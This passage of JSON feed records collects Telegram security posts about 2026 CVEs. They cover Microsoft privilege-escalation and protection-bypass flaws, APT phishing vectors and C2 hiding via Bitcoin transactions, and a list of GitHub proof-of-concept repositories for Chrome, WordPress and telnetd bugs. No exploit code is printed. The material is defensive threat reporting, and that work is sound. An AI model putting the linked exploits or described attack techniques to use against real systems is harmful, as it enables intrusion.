\u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0443\u044e \u0441 \u043e\u0431\u044a\u0435\u043a\u0442\u0430\u043c\u0438 OLE (\u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u044f \u0432\u0441\u0442\u0430\u0432\u043a\u0438 \u0438 \u0440\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u0430\u043d\u043d\u044b\u0445 \u043c\u0435\u0436\u0434\u0443 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u043c\u0438).\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u0438\u0437-\u0437\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043d\u0435\u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0445 \u0432\u0445\u043e\u0434\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u043f\u0440\u0438 \u043f\u0440\u0438\u043d\u044f\u0442\u0438\u0438 \u0440\u0435\u0448\u0435\u043d\u0438\u0439 \u0432 \u043e\u0431\u043b\u0430\u0441\u0442\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0447\u0442\u043e \u0434\u0430\u0435\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u044b \u0431\u0435\u0437 \u043d\u0430\u0434\u043b\u0435\u0436\u0430\u0449\u0435\u0439 \u0437\u0430\u0449\u0438\u0442\u044b.\n\n\u0414\u043b\u044f \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0443\u0431\u0435\u0434\u0438\u0442\u044c \u0436\u0435\u0440\u0442\u0432\u0443 \u043e\u0442\u043a\u0440\u044b\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 Office. \u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0445\u0430\u043a\u0435\u0440 \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0432\u043b\u0438\u044f\u0442\u044c \u043d\u0430 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u044c, \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u044c \u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0441\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\ud83d\udca1 \u0427\u0442\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u0438\u0442\u044c\u0441\u044f, \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0441 \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0441\u0430\u0439\u0442\u0430 Microsoft.\n\n#\u0432\u0442\u0440\u0435\u043d\u0434\u0435VM\n@Positive_Technologies", "creation_timestamp": "2026-07-26T02:02:56.936469Z"}, {"uuid": "e4920105-1f5d-4d37-bc7b-9a21e55453ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21510", "type": "seen", "source": "https://t.me/Positive_Technologies/4061", "content": "\ud83d\udc36 \u0427\u0435\u0442\u044b\u0440\u0435 \u0442\u0440\u0435\u043d\u0434\u043e\u0432\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 Microsoft\n\n\u041d\u0430\u0448\u0438 \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u044b \u043e\u0442\u043d\u0435\u0441\u043b\u0438 \u043a \u0442\u0440\u0435\u043d\u0434\u043e\u0432\u044b\u043c \u0435\u0449\u0435 \u0447\u0435\u0442\u044b\u0440\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442 \u043e\u043a\u043e\u043b\u043e \u043c\u0438\u043b\u043b\u0438\u0430\u0440\u0434\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u0441 \u041e\u0421 Windows. \u041a\u0430\u0436\u0434\u0430\u044f \u0443\u0436\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0445\u0430\u043a\u0435\u0440\u0430\u043c\u0438, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043e\u043d\u0438 \u0442\u0440\u0435\u0431\u0443\u044e\u0442 \u043e\u043f\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f.\n\n\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438 MaxPatrol VM \u0443\u0436\u0435 \u0432 \u043a\u0443\u0440\u0441\u0435 \u044d\u0442\u0438\u0445 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432, \u0434\u0435\u043b\u0438\u043c\u0441\u044f \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u044f\u043c\u0438 \u0432 \u043c\u0430\u0440\u0442\u043e\u0432\u0441\u043a\u043e\u043c \u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442\u0435.\n\n1\ufe0f\u20e3 \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Desktop Window Manager (DWM)\nPT-2026-7404 (CVE-2026-21519, CVSS \u2014 7,8)\n\n\u0412\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0432\u0448\u0438\u0441\u044c \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u043e\u0439 \u0440\u0435\u0441\u0443\u0440\u0441\u043e\u0432, \u0445\u0430\u043a\u0435\u0440 \u0441 \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u043c\u043e\u0436\u0435\u0442 \u043e\u0431\u043c\u0430\u043d\u0443\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043d\u0430\u0434 \u043d\u0435\u0439 \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c (\u0443\u0440\u043e\u0432\u0435\u043d\u044c SYSTEM).\n\n\u0414\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0443 \u2014 \u0447\u0435\u0440\u0435\u0437 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u0432\u043b\u043e\u0436\u0435\u043d\u0438\u0435, \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0438\u043b\u0438 \u0433\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0430\u043b\u044c\u043d\u043e\u0435 \u043f\u0435\u0440\u0435\u043c\u0435\u0449\u0435\u043d\u0438\u0435 \u0432\u043d\u0443\u0442\u0440\u0438 \u0441\u0435\u0442\u0438 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438.\n\n2\ufe0f\u20e3 \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0441\u043b\u0443\u0436\u0431\u0430\u0445 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0441\u0442\u043e\u043b\u0430 (RDS)\nPT-2026-7412 (CVE-2026-21533, CVSS \u2014 7,8)\n\n\u0418\u0437-\u0437\u0430 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0433\u043e \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u0441\u0432\u043e\u0438 \u043f\u0440\u0430\u0432\u0430 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f SYSTEM.\n\n\u0418\u043c\u0435\u044f \u0442\u0430\u043a\u043e\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0434\u043e\u0441\u0442\u0443\u043f\u0430, \u0445\u0430\u043a\u0435\u0440 \u043c\u043e\u0436\u0435\u0442 \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0430 \u0437\u0430\u0449\u0438\u0442\u044b, \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u0442\u044c \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0435 \u0412\u041f\u041e \u0438\u043b\u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c \u0438\u043b\u0438 \u0443\u0447\u0435\u0442\u043d\u044b\u043c \u0434\u0430\u043d\u043d\u044b\u043c.\n\n\u041d\u0430 \u043e\u0434\u043d\u043e\u043c \u0438\u0437 \u0442\u0435\u043d\u0435\u0432\u044b\u0445 \u0444\u043e\u0440\u0443\u043c\u043e\u0432 \u0443\u0436\u0435 \u043f\u043e\u044f\u0432\u0438\u043b\u043e\u0441\u044c \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u0438\u0435 \u043e \u043f\u0440\u043e\u0434\u0430\u0436\u0435 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430 \u0434\u043b\u044f \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0437\u0430 $220\u202f000.\n\n3\ufe0f\u20e3 \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u043e\u043c \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0435 Windows Shell\nPT-2026-7396 (CVE-2026-21510, CVSS \u2014 8,8)\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u043e\u0439 \u0437\u0430\u0449\u0438\u0442\u043d\u044b\u0445 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u043e\u0432 \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043e\u0431\u043e\u0439\u0442\u0438 \u043c\u0435\u0440\u044b \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 SmartScreen \u0438 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f Windows Shell.\n\n\u0427\u0442\u043e\u0431\u044b \u0435\u0439 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043d\u0443\u0436\u043d\u043e \u0443\u0431\u0435\u0434\u0438\u0442\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043e\u0442\u043a\u0440\u044b\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0443\u044e \u0441\u0441\u044b\u043b\u043a\u0443 \u0438\u043b\u0438 \u044f\u0440\u043b\u044b\u043a. \u041f\u043e\u0441\u043b\u0435 \u044d\u0442\u043e\u0433\u043e \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u043c\u043e\u0436\u0435\u0442 \u043d\u0435 \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0442\u044c \u043f\u0440\u0438\u0432\u044b\u0447\u043d\u044b\u0435 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043e\u043f\u0430\u0441\u043d\u044b\u0439 \u043a\u043e\u0434.\n\n4\ufe0f\u20e3 \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Microsoft Word\nPT-2026-7400 (CVE-2026-21514, CVSS \u2014 7,8)\n\n\u041d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u043a \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043e\u0431\u043e\u0439\u0442\u0438 \u0437\u0430\u0449\u0438\u0442\u0443, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0443\u044e \u0441 \u043e\u0431\u044a\u0435\u043a\u0442\u0430\u043c\u0438 OLE (\u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u044f \u0432\u0441\u0442\u0430\u0432\u043a\u0438 \u0438 \u0440\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u0430\u043d\u043d\u044b\u0445 \u043c\u0435\u0436\u0434\u0443 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u043c\u0438).\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u0438\u0437-\u0437\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043d\u0435\u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0445 \u0432\u0445\u043e\u0434\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u043f\u0440\u0438 \u043f\u0440\u0438\u043d\u044f\u0442\u0438\u0438 \u0440\u0435\u0448\u0435\u043d\u0438\u0439 \u0432 \u043e\u0431\u043b\u0430\u0441\u0442\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0447\u0442\u043e \u0434\u0430\u0435\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u044b \u0431\u0435\u0437 \u043d\u0430\u0434\u043b\u0435\u0436\u0430\u0449\u0435\u0439 \u0437\u0430\u0449\u0438\u0442\u044b.\n\n\u0414\u043b\u044f \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0443\u0431\u0435\u0434\u0438\u0442\u044c \u0436\u0435\u0440\u0442\u0432\u0443 \u043e\u0442\u043a\u0440\u044b\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 Office. \u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0445\u0430\u043a\u0435\u0440 \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0432\u043b\u0438\u044f\u0442\u044c \u043d\u0430 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u044c, \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u044c \u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0441\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\ud83d\udca1 \u0427\u0442\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u0438\u0442\u044c\u0441\u044f, \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0441 \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0441\u0430\u0439\u0442\u0430 Microsoft.\n\n#\u0432\u0442\u0440\u0435\u043d\u0434\u0435VM\n@Positive_Technologies", "creation_timestamp": "2026-07-26T02:02:57.111008Z"}, {"uuid": "e47d7a96-54d2-4099-b6a6-0f5aefd3bb32", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21509", "type": "seen", "source": "https://t.me/Positive_Technologies/4314", "content": "\u0413\u0440\u0443\u043f\u043f\u0430 \u043a\u0438\u0431\u0435\u0440\u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0438 PT ESC \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0430 \u043e\u0431\u0437\u043e\u0440 \u043a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a \u0437\u0430 II \u043a\u0432\u0430\u0440\u0442\u0430\u043b 2026 \u0433\u043e\u0434\u0430 \u270d\ufe0f\n\n\u0412 \u043e\u0442\u0447\u0435\u0442\u0435 \u043f\u0440\u043e\u0430\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u0445\u0430\u043a\u0435\u0440\u0441\u043a\u0438\u0445 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043e\u043a, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u043d\u0430 \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0438\u0435 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438: \u043e\u0442 \u0433\u043e\u0441\u0441\u0435\u043a\u0442\u043e\u0440\u0430 \u0438 \u0412\u041f\u041a \u0434\u043e \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432, \u0437\u0434\u0440\u0430\u0432\u043e\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0438 \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u043e\u0441\u0442\u0438.\n\n\u041e\u043f\u0438\u0441\u0430\u043d\u0430 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u0448\u043f\u0438\u043e\u043d\u0441\u043a\u0438\u0445 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043e\u043a Rare Werewolf, PseudoGamaredon, Tolik, XDSpy, CloudAtlas, BO Team, NetMedved, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432\u043e \u043c\u043e\u0442\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 Hive0117.\n\n\u2709\ufe0f \u041e\u0441\u043d\u043e\u0432\u043d\u044b\u0435 \u0432\u0435\u043a\u0442\u043e\u0440\u044b \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430:\n\n\u2022 \u0422\u0430\u0440\u0433\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0444\u0438\u0448\u0438\u043d\u0433 \u0441 \u043b\u0435\u0433\u0435\u043d\u0434\u0430\u043c\u0438 \u0434\u0435\u043b\u043e\u0432\u043e\u0439, \u0431\u0443\u0445\u0433\u0430\u043b\u0442\u0435\u0440\u0441\u043a\u043e\u0439 \u0438 \u0433\u043e\u0441\u0443\u0434\u0430\u0440\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0439 \u0442\u0435\u043c\u0430\u0442\u0438\u043a\u0438.\n\u2022 \u0410\u0440\u0445\u0438\u0432\u044b \u0441 HTA-, LNK-, JScript-\u0444\u0430\u0439\u043b\u0430\u043c\u0438, RAR \u0441 BAT-\u0441\u043a\u0440\u0438\u043f\u0442\u0430\u043c\u0438 \u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u044b Office \u0441 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u043d\u044b\u043c\u0438 \u0448\u0430\u0431\u043b\u043e\u043d\u0430\u043c\u0438.\n\u2022 \u0420\u0430\u0441\u0441\u044b\u043b\u043a\u0438 \u0441\u043e \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u043e\u0447\u0442\u043e\u0432\u044b\u0445 \u044f\u0449\u0438\u043a\u043e\u0432 (BEC) \u0434\u043b\u044f \u043e\u0431\u0445\u043e\u0434\u0430 \u0440\u0435\u043f\u0443\u0442\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0444\u0438\u043b\u044c\u0442\u0440\u043e\u0432.\n\u2022 \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f CVE-2026-21509 \u0432 Microsoft Office.\n\n\ud83d\udd0d \u041a\u043b\u044e\u0447\u0435\u0432\u044b\u0435 \u043d\u0430\u0445\u043e\u0434\u043a\u0438:\n\n\u2022 Hive0117 \u043f\u0435\u0440\u0435\u0448\u043b\u0430 \u043d\u0430 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u0430\u0434\u0440\u0435\u0441\u0430 C2 \u0447\u0435\u0440\u0435\u0437 \u0431\u043b\u043e\u043a\u0447\u0435\u0439\u043d Bitcoin \u2014 \u0430\u0434\u0440\u0435\u0441 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0449\u0435\u0433\u043e \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u043a\u043e\u0434\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0432 OP_RETURN-\u0432\u044b\u0445\u043e\u0434\u0435 \u0442\u0440\u0430\u043d\u0437\u0430\u043a\u0446\u0438\u0438 \u0438 \u043d\u0435 \u0445\u0440\u0430\u043d\u0438\u0442\u0441\u044f \u0432 \u0442\u0435\u043b\u0435 \u043e\u0431\u0440\u0430\u0437\u0446\u0430.\n\n\u2022 CloudAtlas \u0441\u043a\u0440\u044b\u0432\u0430\u043b\u0430 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0437\u0430 oEmbed-\u0446\u0435\u043f\u043e\u0447\u043a\u0430\u043c\u0438 \u0447\u0435\u0440\u0435\u0437 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0435 WordPress-\u0441\u0430\u0439\u0442\u044b.\n\n\u041e\u0437\u043d\u0430\u043a\u043e\u043c\u0438\u0442\u044c\u0441\u044f \u0441 \u043e\u0442\u0447\u0435\u0442\u043e\u043c \u043c\u043e\u0436\u043d\u043e \u0432 \u043d\u0430\u0448\u0435\u043c \u0431\u043b\u043e\u0433\u0435 \ud83e\udef2\n\n#TI #APT #Malware #Phishing \n@ptescalator", "creation_timestamp": "2026-07-26T02:02:56.522526Z"}, {"uuid": "d2a876a0-7964-4a2c-8c4d-3c1564f10a9a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21513", "type": "exploited", "source": "https://t.me/cyberwarehouse/1084", "content": "\ud83d\uded1 Microsoft fixed CVE-2026-21513 (CVSS 8.8) in February after confirming zero-day exploitation in MSHTML.\n\nA flaw in ieframe.dll let attackers bypass Mark-of-the-Web and IE ESC, enabling potential code execution. \n\nAkamai linked a malicious LNK sample to infrastructure associated with APT28.\n\n\ud83d\udd17 Read \u2192 https://thehackernews.com/2026/03/apt28-tied-to-cve-2026-21513-mshtml-0.html", "creation_timestamp": "2026-07-27T00:00:34.221846Z"}, {"uuid": "7efbf57b-4c6a-49cc-8e4d-5b02309a1fe4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21509", "type": "seen", "source": "https://t.me/CyberSecurityExploit/17085", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udd25 New GitHub PoC CVE \u2013 Research Picks (Today / Fresh Only)\nBelow are recent CVE vulnerabilities with publicly available Proof-of-Concept repositories on GitHub, selected for research and exploit analysis.\n\n\u2796\u2796\u2796\u2796\n\n1\ufe0f\u20e3 CVE-2026-2441\n\ud83c\udfaf Google Chrome Blink \u2013 Use-After-Free (In-the-Wild)\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/b1gchoi/CVE-2026-2441_POC\n\n\ud83e\udde0 Overview\nA use-after-free vulnerability in Chrome\u2019s Blink engine allows attackers to achieve arbitrary code execution within the browser sandbox.\nThe PoC demonstrates memory corruption triggered via crafted CSS and layout processing.\n\n\u2699\ufe0f Impact\n\u2022 Browser sandbox RCE\n\u2022 Confirmed exploitation in the wild\n\u2022 Potential full exploit chain\n\n\u2796\u2796\u2796\u2796\n\n2\ufe0f\u20e3 CVE-2026-1357\n\ud83c\udfaf WordPress WPvivid Plugin \u2013 Unauthenticated RCE\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/cybertechajju/CVE-2026-1357-POC\n\n\ud83e\udde0 Overview\nA critical vulnerability in the WPvivid Backup & Migration plugin allows unauthenticated attackers to upload malicious files and execute code on the server.\n\n\u2699\ufe0f Impact\n\u2022 Unauthenticated remote code execution\n\u2022 Full WordPress site compromise\n\u2022 High severity (critical risk)\n\n\u2796\u2796\u2796\u2796\n\n3\ufe0f\u20e3 CVE-2026-24061\n\ud83c\udfaf GNU inetutils-telnetd \u2013 Authentication Bypass\n\n\ud83d\udd17 PoC 